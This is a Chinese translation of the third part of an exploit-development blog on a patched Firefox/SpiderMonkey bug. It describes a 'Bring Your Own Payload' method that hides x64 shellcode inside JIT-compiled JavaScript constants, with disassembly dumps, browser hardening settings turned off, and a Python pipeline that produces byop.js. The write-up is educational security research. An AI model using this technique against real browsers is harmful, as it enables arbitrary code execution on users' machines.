注:这是接着前两篇文章的第三部分。由于原文实在是有点长,我根据文章的内容分了一下。
原文:https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/#jsvalues-and-jsobjects

ifrit.js

这个漏洞利用的很大一部分是 Bring Your Own Payload 部分。这看起来很简单,但结果却比我想象的要麻烦得多。如果我们把它拉下来看,我们的利用应该与 kaizen.js 几乎相同,因为劫持控制流将是最后一步。

在Windows上编译64位版本的Firefox

在回到调试之前,我们需要实际编译一个我们可以使用的 Firefox 版本。这很简单,我没有对这部分做大量的记录,这说明编译时一切都很顺利(只是不要忘记应用 blaze.patch 来获取易受攻击的 xul.dll 模块):

1
2
$ cp browser/config/mozconfigs/win64/plain-opt mozconfig
$ mach build

如果您不想构建 Firefox,我已经上传了 7z 档案,其中包含我为 Windows 64 位构建的二进制文件以及 xul.dll 的私有符号:ff-bin.7z.001 ff-bin。7z.002

配置Firefox以开发ifrit

为了简化操作,我们可以打开/关闭一系列设置,让我们的操作更轻松一下(在 about:config 中):

  1. 禁用沙箱:security.sandbox.content.level = 0,
  2. 禁用多进程模式:browser.tabs.remote.autostart = false,
  3. 从崩溃中禁用简历:browser.sessionstore.resume_from_crash = false,
  4. 禁用默认浏览器检查:browser.shell.checkDefaultBrowser = false。

要调试特定的内容过程(启用多进程模式),您可以通过鼠标到选项卡,它应该告诉您其 PID 如下:

image.png

使用这些设置,附加到处理内容的 Firefox 进程应该是很容易的。

强制JIT编译payload:Bring Your Own Payload

首先要查看一下我们的 payload 。正如我们之前看到的,我们知道如果我们希望它走分支到下一个常量,我们可以仅使用八个字节中的六个字节。说实话,六个字节够用了,但同时常规编译器生成的一堆更大指令。正如你在下面看到的,有一些(虽然也不是很多):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[...]
000001c1`1b226411 488d056b020000 lea rax,[000001c1`1b226683]
[...]
000001c1`1b226421 488d056b020000 lea rax,[000001c1`1b226693]
[...]
000001c1`1b22643e 488d153e020000 lea rdx,[000001c1`1b226683]
[...]
000001c1`1b2264fb 418b842488000000 mov eax,dword ptr [r12+88h]
[...]
000001c1`1b22660e 488da42478ffffff lea rsp,[rsp-88h]
[...]
000001c1`1b226616 488dbd78ffffff lea rdi,[rbp-88h]
[...]
000001c1`1b226624 c78578ffffff68000000 mov dword ptr [rbp-88h],68h
[...]
000001c1`1b226638 4c8d9578ffffff lea r10,[rbp-88h]
[...]
000001c1`1b22665b 488d0521000000 lea rax,[000001c1`1b226683]
[...]
000001c1`1b226672 488d150a000000 lea rdx,[000001c1`1b226683]
[...]

过了一会儿,我终于意识到 SCC 生成的 payload ,是假定它将运行的位置是可写的和可执行的。如果在堆栈上或在TypedArray 的后备缓冲区中运行它,它可以正常工作:就像是在 basic 和 kaizen 中(译者注:前面文章中的basic.js / /kaizen.js )。但是,从 JIT 页面来看,它没有,并且它成为一个问题,因为出于安全原因,这里是没有写权限的。所以我放弃了之前的 payload 开始自己构建一个新的。我用C语言编写它,使其与一些方便的脚本无关
这是我的队友 yrp 与我分享的。经过匆忙的编译和各种选项后,我最终得到的东西大小合适,而且好像是有用的。
在回来观察这个 payload ,情况看起来非常类似于上面:大于六个字节的指令最终为少数。幸好。 在这一点上,是时候离开 C 搬到汇编代码去看看。我解压缩了程序集并开始用较小的语义等效指令手动替换所有这些指令。这是一个不难但却很烦人的问题。 如果您想要查看它,这里 assembly payload

最终,payload 正常工作,但这次没有大于六个字节的指令。我们可以开始编写 JavaScript 代码来迭代 assembly payload ,并在常量中包含尽可能多的指令。你可以在同一个常量中打包 3 个 2 字节的指令,但不要是 4 个字节或 3字节的。
在尝试了生成的 payload 之后,我发现两个主要问题:

  • 在每个指令之间使用“填充”会破坏 x64 代码中的每种类型的引用。rip 寻址被破坏,间接跳转和间接调用都被损坏。
  • 用大量常量生成 JITing 函数会生成更大的指令。在前面的例子中,我们基本上重复了以下模式:一个 8 字节的 mov r11,常量后跟一个四字节的 mov qword ptr [rbp-offset],r11 。好吧,如果你的 JavaScript 函数开始有很多常量,那么最终偏移量会变大(因为所有 doubles 型数据都存储在堆栈帧中),而且 mov qword ptr [rbp-offset], r11 指令现在以七个字节编码。更恼火的是我们在整个 JITed payload 中混合使用了这两种编码。这对我们的 payload 来说是一个可怕的事,因为我们不知道要向前跳多少字节。如果我们跳得太远或者不够远,我们冒险尝试执行可能会导致我们崩溃在某些指令中间。
1
2
3
4
5
6
7
000000bf`c2ed9b88 49bb909090909090eb09 mov r11,9EB909090909090h
000000bf`c2ed9b92 4c895db0 mov qword ptr [rbp-50h],r11 <- small

VS

000000bf`c2ed9bc9 49bb909090909090eb09 mov r11,9EB909090909090h
000000bf`c2ed9bd3 4c899db8f5ffff mov qword ptr [rbp-0A48h],r11 <- big

我开始尝试解决第二个问题。我想如果我对这个问题没有满意的答案,我就无法在 payload 中正确修复引用。老实说,此时我有点倦怠,它真的值得吗? 可能并不是。所以我决定稍作休息一段时间后再回来。经过一段小小的休息后,在观察 baseline JIT 的行为后,我注意到如果我在这个函数中有更多的常量,我可以或多或少地间接控制偏移的大小。如果我将它变得足够大,七个字节就足以编码非常大的偏移量。所以我开始注入一堆无用的常量来扩大堆栈框架并使偏移量不断增长。 最终,一旦这个偏移“饱和”,我们就会得到一个很好的稳定布局,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
0:000> u 00000123`c34d67c1 l100
00000123`c34d67c1 49bb909090909090eb09 mov r11,9EB909090909090h
00000123`c34d67cb 4c899db0feffff mov qword ptr [rbp-150h],r11
00000123`c34d67d2 49bb909090909050eb09 mov r11,9EB509090909090h
00000123`c34d67dc 4c899db0ebffff mov qword ptr [rbp-1450h],r11
00000123`c34d67e3 49bb909090909053eb09 mov r11,9EB539090909090h
00000123`c34d67ed 4c899d00faffff mov qword ptr [rbp-600h],r11
00000123`c34d67f4 49bb909090909051eb09 mov r11,9EB519090909090h
00000123`c34d67fe 4c899d98fcffff mov qword ptr [rbp-368h],r11
00000123`c34d6805 49bb909090909052eb09 mov r11,9EB529090909090h
00000123`c34d680f 4c899d28ffffff mov qword ptr [rbp-0D8h],r11
00000123`c34d6816 49bb909090909055eb09 mov r11,9EB559090909090h
00000123`c34d6820 4c899d00ebffff mov qword ptr [rbp-1500h],r11
00000123`c34d6827 49bb909090909056eb09 mov r11,9EB569090909090h
00000123`c34d6831 4c899db0edffff mov qword ptr [rbp-1250h],r11
00000123`c34d6838 49bb909090909057eb09 mov r11,9EB579090909090h
00000123`c34d6842 4c899d30f6ffff mov qword ptr [rbp-9D0h],r11
00000123`c34d6849 49bb909090904150eb09 mov r11,9EB504190909090h
00000123`c34d6853 4c899d90f2ffff mov qword ptr [rbp-0D70h],r11
00000123`c34d685a 49bb909090904151eb09 mov r11,9EB514190909090h
00000123`c34d6864 4c899dd8f8ffff mov qword ptr [rbp-728h],r11
00000123`c34d686b 49bb909090904152eb09 mov r11,9EB524190909090h
00000123`c34d6875 4c899dc0f7ffff mov qword ptr [rbp-840h],r11
00000123`c34d687c 49bb909090904153eb09 mov r11,9EB534190909090h
00000123`c34d6886 4c899db0fbffff mov qword ptr [rbp-450h],r11
00000123`c34d688d 49bb909090904154eb09 mov r11,9EB544190909090h
00000123`c34d6897 4c899d48eeffff mov qword ptr [rbp-11B8h],r11
00000123`c34d689e 49bb909090904155eb09 mov r11,9EB554190909090h
00000123`c34d68a8 4c899d68fbffff mov qword ptr [rbp-498h],r11
00000123`c34d68af 49bb909090904156eb09 mov r11,9EB564190909090h
00000123`c34d68b9 4c899d48f4ffff mov qword ptr [rbp-0BB8h],r11
00000123`c34d68c0 49bb909090904157eb09 mov r11,9EB574190909090h
00000123`c34d68ca 4c895da0 mov qword ptr [rbp-60h],r11 <- NOOOOOO
00000123`c34d68ce 49bb9090904989e3eb09 mov r11,9EBE38949909090h
00000123`c34d68d8 4c899d08eeffff mov qword ptr [rbp-11F8h],r11

好吧,接近完美。 虽然我尝试了很多东西,但我也不认为我已经完成了一个完全干净的布局(最后附加大约七十个 doubles )。我也不知道原因,因为这只是基于观察。 但是如果你考虑一下,我们:不使用 rip 寻址,我们可以允许一些“错误”,我们可以在指令之前使用 NOP 滑板来“容忍”一些错误。
对于问题的第一部分,我基本上在每条指令之间注入了许多 NOP 指令。我以为我会把它扔进 ml64.exe,让它为我找出参考资料。不幸的是,有一些问题让我摆脱了这个解决方案。 以下是我能记住的一些问题:

  • 由于您必须准确知道要注入的 NOP 数量以模拟“ JIT 环境”,您还需要知道要植入的指令的大小。问题在于,当您在每条指令之间使用 NOP 对 payload 进行填充时,某些指令的编码方式会有所不同。想象一下在两个字节上编码的短跳转……好吧它可能变成用四个字节编码的长跳转。 如果这发生了,它会弄乱一切。

image.png

  • 作为上述观点的后续行为,我想我会尝试强制 MASM64 一直生成长跳转,而不是短跳转。 事实证明,我没有办法做到避免这个麻烦事。
  • 我的初始工作流程是:我将使用 WinDbg dump 程序集,将其发送到 Python 脚本,该脚本生成一个我将使用 ml64 编译的 .asm 需要记住的是,在 x86 中,一条指令可以有多种不同的编码。 有不同的尺寸。所以再一次,我遇到了与上面相同类问题的问题: ml64 会对反汇编指令进行一些不同的编码和 kaboom 。

最后,我自己实施它来。 我有一个 Python 脚本,可以在几个通道中工作。 脚本的输入只是我想要 JITify 的 payload 的 WinDbg 反汇编。 每行都有指令的地址,编码的字节和反汇编代码。

1
2
3
4
5
6
payload = '''00007ff6`6ede1021 50              push    rax
00007ff6`6ede1022 53 push rbx
00007ff6`6ede1023 51 push rcx
00007ff6`6ede1024 52 push rdx
# [...]
'''

让我们来看看 payload2jit.py

  • 第一步是规范化 payload 的文本版本。显然,我们不想处理文本,因此我们提取地址(对标签化很有用),编码(计算要注入的 NOP 的数量)和反汇编(用于重新组装)。 这里有一个示例输出 _p0.asm
  • 第二步是我们的 payload 的标签化。我们遍历每一行,我们用标签替换绝对地址。这是必需的,以便我们可以让 keystone 重新组装 payload 并在以后处理引用。 _p1.asm 中提供了一个示例输出。
  • 在这个阶段,我们进入迭代过程。 它的目标是组装 payload 并将其与上一次迭代进行比较。如果我们发现同一指令的编码之间存在差异,我们必须重新调整注入的 NOP 数量。如果编码较大,我们删除 NOP ; 如果它更小,我们添加 NOP 。 我们重复这个阶段,直到组装的 payload 收敛到没有变化。需要迭代2次才能达到 payload 的稳定性:_p2.asm / _p2.bin_p3.asm / _p3.bin

  • 一旦我们有一个汇编的 payload,我们生成一个 JavaScript 文件并调用一个解释器让它生成一个 byop.js 文件,该文件中包含编码我们最终 payload 的常量。

这是脚本在 stdout 上产生的内容(一些短跳转指令需要更大的编码,因为 payload 会膨胀):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(C:\ProgramData\Anaconda2) c:\work\codes\blazefox\scripts>python payload2jit.py
[+] Extracted the original payload, 434 bytes (see _p0.asm)
[+] Replaced absolute references by labels (see _p1.asm)
[+] #1 Assembled payload, 2513 bytes, 2200 instructions (_p2.asm/.bin)
> je 0x3b1 has been encoded with a larger size instr 2 VS 6
> je 0x3b1 has been encoded with a larger size instr 2 VS 6
> je 0x53b has been encoded with a larger size instr 2 VS 6
> jne 0x273 has been encoded with a larger size instr 2 VS 6
> je 0x3f7 has been encoded with a larger size instr 2 VS 6
> je 0x3f7 has been encoded with a larger size instr 2 VS 6
> je 0x3f7 has been encoded with a larger size instr 2 VS 6
> je 0x816 has been encoded with a larger size instr 2 VS 6
> jb 0x6be has been encoded with a larger size instr 2 VS 6
[+] #2 Assembled payload, 2477 bytes, 2164 instructions (_p3.asm/.bin)
[*] Generating bring_your_own_payload.js..
[*] Spawning js.exe..
[*] Outputting byop.js..

最后,经过大量操作,hacky-scripts,无数个小时的调试和相当多的挫折……我们等待的那一刻\ o /:

评估

事实证明这个漏洞比我预想的更麻烦。 最后结果很好,因为我们只需要劫持控制流,我们可以获得任意的代码执行,而不需要 ROP 。 现在,还有很多我想调查的事情(其中一些我可能会很快):

  • 实际构建一个实际有用的 payload 会很酷。 在每个选项卡中注入任意 JavaScript,或启用某种 UXSS 条件的东西。 我们甚至可以通过几个关键结构的修改来解决这个问题(当时在 Internet Explorer 中使用 GodMode / SafeMode)。
  • 在各种版本的 Firefox 上实际测试这个 BYOP,看看它是否真的可靠(并量化它)也会很有趣。 如果它是那么我会好奇测试它的限制:更大的 payload,更好的工具,用于将任意 payload “转换”为 JITable 等等。
  • 另一个有趣的途径是评估在不劫持间接调用的情况下获取代码执行是多么麻烦(假设 Firefox 启用某种软件 CFI 解决方案)。
  • 我也确信在 baseline JIT 和 IonMonkey 中都有很多有趣的技巧可以帮助开发技术,原语和实用程序。
  • WebAssembly 和 JIT 应该可以开辟其他有趣的利用途径。 这很有趣,因为在写完文章的时候,我刚刚注意到 @ rh0_gz 的酷工作似乎已经使用 WASM JIT 开发了一种非常相似的技术,请查看: More on ASM.JS Payloads and Exploitation
  • 我想尝试的最后一件事是使用 pwn.js

结论

这一路看来,希望你没有睡着:)。 感谢阅读,希望你们都喜欢骑行并学到了一两件事。
如果您想在家里玩并重新创建我上面描述的内容,我上传了 blazefox GitHub 存储库中所需的所有内容,如上所述。 没有理由不在家玩:)。
我很想听到反馈/想法,所以请随时在推特上点击 @ 0vercl0k ,或者在 IRC 上找我。

最后但同样重要的是,我要感谢我的伙伴 yrp604__x86 进行校对,编辑和所有反馈:)。

一堆有用且不太有用的链接(我已粘贴在上面的一些链接):

- Share with care: Exploiting a Firefox UAF with shared array buffers